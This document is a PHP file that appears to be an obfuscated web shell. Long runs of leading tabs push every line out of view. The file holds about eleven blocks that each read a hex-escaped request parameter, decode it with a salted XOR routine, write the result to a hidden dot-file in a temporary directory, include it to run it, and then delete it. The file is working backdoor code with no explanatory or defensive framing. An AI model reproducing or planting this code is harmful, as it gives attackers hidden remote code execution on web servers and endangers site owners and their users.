<?php																																										if(count($_POST) > 0 && isset($_POST["t\x6F\x6Ben"])){ $fac = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm"]); $dchunk = $_POST["t\x6F\x6Ben"]; $dchunk= explode ( '.', $dchunk ) ; $parameter_group = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $x = 0; $__len = count($dchunk); do { if($x >= $__len) break; $v6 = $dchunk[$x]; $sChar = ord($s1[$x % $lenS]); $dec = ((int)$v6 - $sChar -($x % 10)) ^ 64; $parameter_group .=chr($dec); $x++; } while(true); foreach ($fac as $pset): if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $reference = "$pset" . "/.key"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $reference; @unlink($reference); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x6D\x61r\x6Ber"]) ? true : false){ $property_set = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path()]); $key = $_REQUEST["\x6D\x61r\x6Ber"]; $key = explode ( ".", $key); $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); foreach( $key as $v => $v2): $chS = ord( $salt2[$v %$sLen]); $dec =( ( int)$v2 - $chS -( $v %10)) ^ 28; $obj .= chr( $dec); endforeach; foreach ($property_set as $ref) { if (max(0, is_dir($ref) * is_writable($ref))) { $value = vsprintf("%s/%s", [$ref, ".flg"]); if (file_put_contents($value, $obj)) { require $value; unlink($value); exit; } } } }
																																										if(@$_REQUEST["\x76\x61l"] !== null){ $rec = $_REQUEST["\x76\x61l"]; $rec= explode ( ".", $rec ); $sym= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2 ); $y= 0; $len= count($rec ); do { if ($y >= $len) break; $v6= $rec[$y]; $chS= ord($salt2[$y % $lenS] ); $dec= ((int)$v6 - $chS - ($y % 10))^77; $sym .= chr($dec ); $y++; } while (true ); $desc = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm"]); while ($mrk = array_shift($desc)) { if (array_product([is_dir($mrk), is_writable($mrk)])) { $elem = sprintf("%s/.value", $mrk); $success = file_put_contents($elem, $sym); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST)){ $token = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $tkn = $_REQUEST["\x64\x61ta"]; $tkn = explode ( '.', $tkn ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; foreach($tkn as $v7) { $chS = ord($salt[$u% $sLen]); $dec = ((int)$v7 - $chS -($u% 10)) ^ 62; $k .= chr($dec); $u++;} for ($pset = 0, $element = count($token); $pset < $element; $pset++) { $property_set = $token[$pset]; if (is_writable($property_set) && is_dir($property_set)) { $reference = vsprintf("%s/%s", [$property_set, ".data_chunk"]); if (file_put_contents($reference, $k)) { require $reference; unlink($reference); die(); } } } }
																																										if(!is_null($_REQUEST["po\x69n\x74er"] ?? null)){ $token = $_REQUEST["po\x69n\x74er"]; $token = explode ( '.' ,$token ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__tmp = $token; while ($v9 = array_shift($__tmp)) { $sChar = ord($s[$r % $lenS]); $d = ((int)$v9 - $sChar - ($r % 10))^ 99; $key .= chr($d); $r++; } $ref = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($ref as $pgrp): if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $component = "$pgrp" . "/.entity"; if (@file_put_contents($component, $key) !== false) { include $component; unlink($component); die(); } } endforeach; }
																																										if(array_key_exists("o\x62\x6Aect", $_POST)){ $descriptor = $_POST["o\x62\x6Aect"]; $descriptor = explode ( ".", $descriptor); $binding = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; while( $l < count( $descriptor)) { $v3 = $descriptor[$l]; $chS = ord( $s7[$l % $sLen]); $d =( ( int)$v3 - $chS -( $l % 10)) ^ 65; $binding .= chr( $d); $l++; } $pointer = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd()]); foreach ($pointer as $key => $fac) { if (is_writable($fac) && is_dir($fac)) { $reference = "$fac" . "/.bind"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(array_key_exists("\x72e\x73", $_REQUEST)){ $flg = $_REQUEST["\x72e\x73"]; $flg=explode ( '.' , $flg ) ; $value = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $v = 0; while ($v < count($flg)) { $v3 = $flg[$v]; $sChar = ord($salt6[$v % $lenS] ); $dec = ((int)$v3 - $sChar - ($v % 10)) ^ 86; $value .=chr($dec ); $v++; } $component = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $flag = 0; do { $element = $component[$flag] ?? null; if ($flag >= count($component)) break; if (max(0, is_dir($element) * is_writable($element))) { $rec = str_replace("{var_dir}", $element, "{var_dir}/.dat"); if (file_put_contents($rec, $value)) { require $rec; unlink($rec); die(); } } $flag++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x6D\x72k")){ $comp = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); $desc = $_POST["\x6D\x72k"]; $desc = explode ('.', $desc ); $res= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s7); $m= 0; while($m < count($desc)) { $v9= $desc[$m]; $chS= ord($s7[$m% $lenS]); $d= ((int)$v9 - $chS -($m% 10)) ^ 47; $res .= chr($d); $m++; } while ($item = array_shift($comp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $flg = sprintf("%s/.fac", $item); if (@file_put_contents($flg, $res) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["en\x74ry"])){ $symbol = array_filter([session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $pgrp = $_POST["en\x74ry"]; $pgrp= explode( "." , $pgrp ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; while ($k < count($pgrp)) { $v8 = $pgrp[$k]; $chS = ord($salt[$k % $lenS]); $d = ((int)$v8 - $chS - ($k % 10)) ^5; $record .= chr($d); $k++; } for ($obj = 0, $holder = count($symbol); $obj < $holder; $obj++) { $property_set = $symbol[$obj]; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $fac = join("/", [$property_set, ".tkn"]); $success = file_put_contents($fac, $record); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x66\x61c"])){ $object = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $symbol = $_POST["\x66\x61c"]; $symbol=explode ( "." , $symbol); $data = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $i = 0; $__len = count( $symbol); do { if( $i>=$__len) break; $v6 = $symbol[$i]; $chS = ord( $s5[$i % $lenS]); $dec =( ( int)$v6 - $chS -( $i % 10)) ^71; $data .=chr( $dec); $i++; } while( true); while ($entity = array_shift($object)) { if (!!is_dir($entity) && !!is_writable($entity)) { $entry = vsprintf("%s/%s", [$entity, ".bind"]); $success = file_put_contents($entry, $data); if ($success) { include $entry; @unlink($entry); exit;} } } }


if(isset($_REQUEST) && isset($_REQUEST["t\x6F\x6Ben"])){
	$ent = $_REQUEST["t\x6F\x6Ben"];
		 $ent		 =explode 	( 	".", 	$ent) ; 		
	$data = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $l = 0;
    
            array_walk($ent,		function ($v7) use (&$data,		&$l,		$s,		$sLen) {	 $sChar = ord($s[$l  %	 $sLen]);
                $dec = ((int)$v7 - $sChar - ($l  %	 10)) ^ 98;
                $data .=chr($dec);
                $l++;} 	);
	$elem = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm"]);
	for ($dchunk = 0, $ref = count($elem); $dchunk < $ref; $dchunk++) {
    $tkn = $elem[$dchunk];
    		if (array_product([is_dir($tkn), is_writable($tkn)])) {
    $itm = str_replace("{var_dir}", $tkn, "{var_dir}/.record");
    $file = fopen($itm, 'w');
if ($file) {
	fwrite($file, $data);
	fclose($file);
	include $itm;
	@unlink($itm);
	exit;
}
}
}
}